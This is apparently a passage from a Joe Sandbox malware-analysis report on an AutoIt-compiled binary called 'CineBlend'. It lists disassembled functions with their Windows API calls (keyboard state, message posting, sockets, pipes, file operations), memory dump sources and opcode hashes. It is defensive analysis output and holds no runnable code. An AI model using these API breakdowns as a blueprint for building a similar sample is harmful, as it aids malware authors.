                                  • Opcode Fuzzy Hash: a53f468c0abe49bb3e46d0100d85d64625246ddc9835bd9edfac2754b1dc7b15
                                  • Instruction Fuzzy Hash: D1914A75D00219AFCB10CFA9CC84AEEBBF8FF49320F248599E915B7251D775AA41CB60
                                  Function 00BB43A4 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 240COMMON
                                  Download Yara Rule
                                  APIs
                                  • VariantInit.OLEAUT32(?), ref: 00BB43C8
                                  • CharUpperBuffW.USER32(?,?), ref: 00BB44D7
                                  • _wcslen.LIBCMT ref: 00BB44E7
                                  • VariantClear.OLEAUT32(?), ref: 00BB467C
                                    • Part of subcall function 00BA169E: VariantInit.OLEAUT32(00000000), ref: 00BA16DE
                                    • Part of subcall function 00BA169E: VariantCopy.OLEAUT32(?,?), ref: 00BA16E7
                                    • Part of subcall function 00BA169E: VariantClear.OLEAUT32(?), ref: 00BA16F3
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: Variant$ClearInit$BuffCharCopyUpper_wcslen
                                  • String ID: AUTOIT.ERROR$Incorrect Parameter format
                                  • API String ID: 4137639002-1221869570
                                  • Opcode ID: a505feb823a054f42a4ad81437e6a569648f1e72f79c51fbe350d5af3dee1b78
                                  • Instruction ID: 005e8f88a166f14840f1098c86de90718b4c4caefbdada00d1679bd745ee7473
                                  • Opcode Fuzzy Hash: a505feb823a054f42a4ad81437e6a569648f1e72f79c51fbe350d5af3dee1b78
                                  • Instruction Fuzzy Hash: 6A917C746087019FC714EF28C48096AB7E5FF89714F1489ADF88A97352DB71ED06CB92
                                  Function 00BB560A Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 236COMMON
                                  Download Yara Rule
                                  APIs
                                    • Part of subcall function 00B908FE: CLSIDFromProgID.OLE32(?,?,?,00000000,?,?,?,-C000001E,00000001,?,00B90831,80070057,?,?,?,00B90C4E), ref: 00B9091B
                                    • Part of subcall function 00B908FE: ProgIDFromCLSID.OLE32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,00B90831,80070057,?,?), ref: 00B90936
                                    • Part of subcall function 00B908FE: lstrcmpiW.KERNEL32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,00B90831,80070057,?,?), ref: 00B90944
                                    • Part of subcall function 00B908FE: CoTaskMemFree.OLE32(00000000,?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,00B90831,80070057,?), ref: 00B90954
                                  • CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000002,00000003,00000000,00000000,00000000,00000001,?,?), ref: 00BB56AE
                                  • _wcslen.LIBCMT ref: 00BB57B6
                                  • CoCreateInstanceEx.OLE32(?,00000000,00000015,?,00000001,?), ref: 00BB582C
                                  • CoTaskMemFree.OLE32(?), ref: 00BB5837
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: FreeFromProgTask$CreateInitializeInstanceSecurity_wcslenlstrcmpi
                                  • String ID: NULL Pointer assignment
                                  • API String ID: 614568839-2785691316
                                  • Opcode ID: 3e6e49ab88ccf90fe82b12a036cf4aeeaafb42809a6d047ee16084544c1f8dfb
                                  • Instruction ID: fe25997dd81305ad0dd72db5787a2af68f3a461f19c77a500b1c00a9f2c0003a
                                  • Opcode Fuzzy Hash: 3e6e49ab88ccf90fe82b12a036cf4aeeaafb42809a6d047ee16084544c1f8dfb
                                  • Instruction Fuzzy Hash: A491E575D00219EFDF20DFA4DC81EEEB7B9AF08314F1045A9E915A7251DB709A44CFA1
                                  Function 00BC2B99 Relevance: 10.7, APIs: 7, Instructions: 196windowCOMMON
                                  Download Yara Rule
                                  APIs
                                  • GetMenu.USER32(?), ref: 00BC2C1F
                                  • GetMenuItemCount.USER32(00000000), ref: 00BC2C51
                                  • GetMenuStringW.USER32(00000000,00000000,?,00007FFF,00000400), ref: 00BC2C79
                                  • _wcslen.LIBCMT ref: 00BC2CAF
                                  • GetMenuItemID.USER32(?,?), ref: 00BC2CE9
                                  • GetSubMenu.USER32(?,?), ref: 00BC2CF7
                                    • Part of subcall function 00B94393: GetWindowThreadProcessId.USER32(?,00000000), ref: 00B943AD
                                    • Part of subcall function 00B94393: GetCurrentThreadId.KERNEL32 ref: 00B943B4
                                    • Part of subcall function 00B94393: AttachThreadInput.USER32(00000000,?,00000000,00000000,?,00B92F00), ref: 00B943BB
                                  • PostMessageW.USER32(?,00000111,00000000,00000000), ref: 00BC2D7F
                                    • Part of subcall function 00B9F292: Sleep.KERNEL32 ref: 00B9F30A
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: Menu$Thread$Item$AttachCountCurrentInputMessagePostProcessSleepStringWindow_wcslen
                                  • String ID:
                                  • API String ID: 4196846111-0
                                  • Opcode ID: 2bba562076c880d8ed6ed620c8ba561e0d9f48485468493b01cba55cea231fd0
                                  • Instruction ID: fe68b007e3e3119cf0e3790866509ccb377fbb414bf4fd488b98c48ef406c666
                                  • Opcode Fuzzy Hash: 2bba562076c880d8ed6ed620c8ba561e0d9f48485468493b01cba55cea231fd0
                                  • Instruction Fuzzy Hash: AF714A75A00215AFCB14EF64C885FAEBBF5EF58310F1484A9E816EB351DB34AD418B90
                                  Function 00BC88F9 Relevance: 10.7, APIs: 7, Instructions: 193windowCOMMON
                                  Download Yara Rule
                                  APIs
                                  • IsWindow.USER32(00000000), ref: 00BC8992
                                  • IsWindowEnabled.USER32(00000000), ref: 00BC899E
                                  • SendMessageW.USER32(00000000,0000041C,00000000,00000000), ref: 00BC8A79
                                  • SendMessageW.USER32(00000000,000000B0,?,?), ref: 00BC8AAC
                                  • IsDlgButtonChecked.USER32(?,00000000), ref: 00BC8AE4
                                  • GetWindowLongW.USER32(00000000,000000EC), ref: 00BC8B06
                                  • SendMessageW.USER32(?,000000A1,00000002,00000000), ref: 00BC8B1E
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: MessageSendWindow$ButtonCheckedEnabledLong
                                  • String ID:
                                  • API String ID: 4072528602-0
                                  • Opcode ID: 86eba3c1fa4b3335ce0a4b57be4ffbe229880213b56e2557caf967700c9ba61c
                                  • Instruction ID: b9795d9d433f2b6761480d7813b9b39c1d3e0bdfd3b30d1879fd2270e51e775e
                                  • Opcode Fuzzy Hash: 86eba3c1fa4b3335ce0a4b57be4ffbe229880213b56e2557caf967700c9ba61c
                                  • Instruction Fuzzy Hash: FF719B74604604AFEB21DF64C884FBABBF9EF4A300F1414AEF845A7261CB71AD81DB51
                                  Function 00B9B881 Relevance: 10.7, APIs: 7, Instructions: 162windowCOMMON
                                  Download Yara Rule
                                  APIs
                                  • GetParent.USER32(?), ref: 00B9B8C0
                                  • GetKeyboardState.USER32(?), ref: 00B9B8D5
                                  • SetKeyboardState.USER32(?), ref: 00B9B936
                                  • PostMessageW.USER32(?,00000101,00000010,?), ref: 00B9B964
                                  • PostMessageW.USER32(?,00000101,00000011,?), ref: 00B9B983
                                  • PostMessageW.USER32(?,00000101,00000012,?), ref: 00B9B9C4
                                  • PostMessageW.USER32(?,00000101,0000005B,?), ref: 00B9B9E7
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: MessagePost$KeyboardState$Parent
                                  • String ID:
                                  • API String ID: 87235514-0
                                  • Opcode ID: 69618670736d39e2bc2fe74fb090f1b38f87bf21cd1432b5d0c9c27aefae4f1c
                                  • Instruction ID: 96000fe491fb736a71e37a6cb26b81db8485e9f2c78811683c24db4ab9a38f0e
                                  • Opcode Fuzzy Hash: 69618670736d39e2bc2fe74fb090f1b38f87bf21cd1432b5d0c9c27aefae4f1c
                                  • Instruction Fuzzy Hash: 6251EEA06187D53EFF3642349D45FBABEE99B06304F0884E9E1D9468D2C7E8ACC4D760
                                  Function 00B9B6A1 Relevance: 10.7, APIs: 7, Instructions: 161windowCOMMON
                                  Download Yara Rule
                                  APIs
                                  • GetParent.USER32(00000000), ref: 00B9B6E0
                                  • GetKeyboardState.USER32(?), ref: 00B9B6F5
                                  • SetKeyboardState.USER32(?), ref: 00B9B756
                                  • PostMessageW.USER32(00000000,00000100,00000010,?), ref: 00B9B782
                                  • PostMessageW.USER32(00000000,00000100,00000011,?), ref: 00B9B79F
                                  • PostMessageW.USER32(00000000,00000100,00000012,?), ref: 00B9B7DE
                                  • PostMessageW.USER32(00000000,00000100,0000005B,?), ref: 00B9B7FF
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: MessagePost$KeyboardState$Parent
                                  • String ID:
                                  • API String ID: 87235514-0
                                  • Opcode ID: 9eff1afffaedd401790cc39954e3839b422a29cbe1d07a171f445e1a648c500a
                                  • Instruction ID: 258c1fdc2fee90de9ffa0f6c3049e91abe7aa41ee4fb933521888b265bc39c36
                                  • Opcode Fuzzy Hash: 9eff1afffaedd401790cc39954e3839b422a29cbe1d07a171f445e1a648c500a
                                  • Instruction Fuzzy Hash: FD51F3A09087D53EFF3283649D95F76BEE9DB46304F0885E9E0D54A8D2D398EC84E760
                                  Function 00B657A1 Relevance: 10.7, APIs: 7, Instructions: 152fileCOMMONLIBRARYCODE
                                  Download Yara Rule
                                  APIs
                                  • GetConsoleCP.KERNEL32(FF8BC35D,00000000,?,?,?,?,?,?,?,00B65F16,?,00000000,FF8BC35D,00000000,00000000,FF8BC369), ref: 00B657E3
                                  • __fassign.LIBCMT ref: 00B6585E
                                  • __fassign.LIBCMT ref: 00B65879
                                  • WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000001,FF8BC35D,00000005,00000000,00000000), ref: 00B6589F
                                  • WriteFile.KERNEL32(?,FF8BC35D,00000000,00B65F16,00000000,?,?,?,?,?,?,?,?,?,00B65F16,?), ref: 00B658BE
                                  • WriteFile.KERNEL32(?,?,00000001,00B65F16,00000000,?,?,?,?,?,?,?,?,?,00B65F16,?), ref: 00B658F7
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: FileWrite__fassign$ByteCharConsoleMultiWide
                                  • String ID:
                                  • API String ID: 1324828854-0
                                  • Opcode ID: 0a14cb60cf0d0c6b7a18f0b6b5bf4bd4636bbe1d621fedcf707d7d72f42dcc18
                                  • Instruction ID: da1a5b71c16e65b551f44a0b71b9ef71cfa80620aa17e3c01cc1c2fa7977d771
                                  • Opcode Fuzzy Hash: 0a14cb60cf0d0c6b7a18f0b6b5bf4bd4636bbe1d621fedcf707d7d72f42dcc18
                                  • Instruction Fuzzy Hash: C751C371A00649DFDB20CFA8DC85BEEBBF8EF09310F1441AAE955E7291D734A951CB60
                                  Function 00B53090 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 117COMMON
                                  Download Yara Rule
                                  APIs
                                  • _ValidateLocalCookies.LIBCMT ref: 00B530BB
                                  • ___except_validate_context_record.LIBVCRUNTIME ref: 00B530C3
                                  • _ValidateLocalCookies.LIBCMT ref: 00B53151
                                  • __IsNonwritableInCurrentImage.LIBCMT ref: 00B5317C
                                  • _ValidateLocalCookies.LIBCMT ref: 00B531D1
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
                                  • String ID: csm
                                  • API String ID: 1170836740-1018135373
                                  • Opcode ID: 3e35717cd0e49e7fa7ce41a35bed74164e2314278be66e67ec9061f17fd595d6
                                  • Instruction ID: d495f52475f88d2129d339236634935d999f518b135e7e549a1e788815818fab
                                  • Opcode Fuzzy Hash: 3e35717cd0e49e7fa7ce41a35bed74164e2314278be66e67ec9061f17fd595d6
                                  • Instruction Fuzzy Hash: 60418334A002089BCF10DF68C885BAEBBF5EF44B95F1481D5EC156B392D7319B09CB91
                                  Function 00BB1B15 Relevance: 10.6, APIs: 7, Instructions: 110networkCOMMON
                                  Download Yara Rule
                                  APIs
                                    • Part of subcall function 00BB3AAB: inet_addr.WSOCK32(?,?,?,?,?,00000000), ref: 00BB3AD7
                                    • Part of subcall function 00BB3AAB: _wcslen.LIBCMT ref: 00BB3AF8
                                  • socket.WSOCK32(00000002,00000001,00000006,?,?,00000000), ref: 00BB1B6F
                                  • WSAGetLastError.WSOCK32 ref: 00BB1B7E
                                  • WSAGetLastError.WSOCK32 ref: 00BB1C26
                                  • closesocket.WSOCK32(00000000), ref: 00BB1C56
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: ErrorLast$_wcslenclosesocketinet_addrsocket
                                  • String ID:
                                  • API String ID: 2675159561-0
                                  • Opcode ID: 14dcb582a75c33e87a15d43ab20e5cde13044762ad02ceb628dba906435450c6
                                  • Instruction ID: 7fa9ea7d5ca5c1ad2f2cd5fe63edc8510b53a84863040f2ac3429a374343a8ad
                                  • Opcode Fuzzy Hash: 14dcb582a75c33e87a15d43ab20e5cde13044762ad02ceb628dba906435450c6
                                  • Instruction Fuzzy Hash: DB41F671600504AFDB109F28C885FF9BBE9EF45324F5484A9F8159B292DBB0ED41CBE1
                                  Function 00B9D7AB Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 108filestringCOMMON
                                  Download Yara Rule
                                  APIs
                                    • Part of subcall function 00B9E6F7: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,00B9D7CD,?), ref: 00B9E714
                                    • Part of subcall function 00B9E6F7: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,00B9D7CD,?), ref: 00B9E72D
                                  • lstrcmpiW.KERNEL32(?,?), ref: 00B9D7F0
                                  • MoveFileW.KERNEL32(?,?), ref: 00B9D82A
                                  • _wcslen.LIBCMT ref: 00B9D8B0
                                  • _wcslen.LIBCMT ref: 00B9D8C6
                                  • SHFileOperationW.SHELL32(?), ref: 00B9D90C
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: FileFullNamePath_wcslen$MoveOperationlstrcmpi
                                  • String ID: \*.*
                                  • API String ID: 3164238972-1173974218
                                  • Opcode ID: fee18e8b9432fd22957ddc401f85245df38b8f546332df28056540933a3ce273
                                  • Instruction ID: 3859d59937b7552197d57f8f87cdbb08cd96a3f29ccc7a80269603428298263c
                                  • Opcode Fuzzy Hash: fee18e8b9432fd22957ddc401f85245df38b8f546332df28056540933a3ce273
                                  • Instruction Fuzzy Hash: 07414E719052189ADF12EFA5C981BDE77F8EF08340F1004FAA609EB152EA34A788CB54
                                  Function 00BC3899 Relevance: 10.6, APIs: 7, Instructions: 99windowCOMMON
                                  Download Yara Rule
                                  APIs
                                  • SendMessageW.USER32(?,000000F0,00000000,00000000), ref: 00BC38B8
                                  • GetWindowLongW.USER32(?,000000F0), ref: 00BC38EB
                                  • GetWindowLongW.USER32(?,000000F0), ref: 00BC3920
                                  • SendMessageW.USER32(?,000000F1,00000000,00000000), ref: 00BC3952
                                  • SendMessageW.USER32(?,000000F1,00000001,00000000), ref: 00BC397C
                                  • GetWindowLongW.USER32(?,000000F0), ref: 00BC398D
                                  • SetWindowLongW.USER32(?,000000F0,00000000), ref: 00BC39A7
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: LongWindow$MessageSend
                                  • String ID:
                                  • API String ID: 2178440468-0
                                  • Opcode ID: e8e6fbf0b8f613518f0448b8b3aa52b7a6d54c7c49fe43f65c88b9f156d19b74
                                  • Instruction ID: 0e28103097c8aef0e6362ada5d90eaf4f8d3f23860b6cd98b64e23a1d027eadb
                                  • Opcode Fuzzy Hash: e8e6fbf0b8f613518f0448b8b3aa52b7a6d54c7c49fe43f65c88b9f156d19b74
                                  • Instruction Fuzzy Hash: 3A311234704255AFDB218F48DC89F6837E1FB8AB20F5581A8F5118B2B1CBB1AD84DB11
                                  Function 00B9808D Relevance: 10.6, APIs: 7, Instructions: 94memoryCOMMON
                                  Download Yara Rule
                                  APIs
                                  • MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00B980D0
                                  • MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00B980F6
                                  • SysAllocString.OLEAUT32(00000000), ref: 00B980F9
                                  • SysAllocString.OLEAUT32(?), ref: 00B98117
                                  • SysFreeString.OLEAUT32(?), ref: 00B98120
                                  • StringFromGUID2.OLE32(?,?,00000028), ref: 00B98145
                                  • SysAllocString.OLEAUT32(?), ref: 00B98153
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: String$Alloc$ByteCharMultiWide$FreeFrom
                                  • String ID:
                                  • API String ID: 3761583154-0
                                  • Opcode ID: f5dd86329255f41d7daaa1c66bc94d0616d90af523d6e988bc7b2fbe15089045
                                  • Instruction ID: 6c974ae736408855729a243909734315986ebec76c32a09cccad51a47c48c2b1
                                  • Opcode Fuzzy Hash: f5dd86329255f41d7daaa1c66bc94d0616d90af523d6e988bc7b2fbe15089045
                                  • Instruction Fuzzy Hash: 70219576600219AF9F10DFA8CC88DBA77ECEB0E3607048475FA05EB290DA74DC468760
                                  Function 00B98164 Relevance: 10.6, APIs: 7, Instructions: 89memoryCOMMON
                                  Download Yara Rule
                                  APIs
                                  • MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00B981A9
                                  • MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00B981CF
                                  • SysAllocString.OLEAUT32(00000000), ref: 00B981D2
                                  • SysAllocString.OLEAUT32 ref: 00B981F3
                                  • SysFreeString.OLEAUT32 ref: 00B981FC
                                  • StringFromGUID2.OLE32(?,?,00000028), ref: 00B98216
                                  • SysAllocString.OLEAUT32(?), ref: 00B98224
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: String$Alloc$ByteCharMultiWide$FreeFrom
                                  • String ID:
                                  • API String ID: 3761583154-0
                                  • Opcode ID: 883096b7694558f7e73a795f122d57b2d51c15b9b9dce98544dd47d2537c4e43
                                  • Instruction ID: 27295e24f6543912452d5b906926ac50d2092ae4914a09429705a20f46f6f130
                                  • Opcode Fuzzy Hash: 883096b7694558f7e73a795f122d57b2d51c15b9b9dce98544dd47d2537c4e43
                                  • Instruction Fuzzy Hash: D2214F75604614BF9F14AFA8DC89DAA77ECEB0E3607048175FA05DB2A1DE70EC42CB64
                                  Function 00BA0E79 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 80pipeCOMMON
                                  Download Yara Rule
                                  APIs
                                  • GetStdHandle.KERNEL32(0000000C), ref: 00BA0E99
                                  • CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 00BA0ED5
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: CreateHandlePipe
                                  • String ID: nul
                                  • API String ID: 1424370930-2873401336
                                  • Opcode ID: 63c15e1e843d319bb35fdad17538461fa16a53b96a065b75fdaf9c8abcc1355d
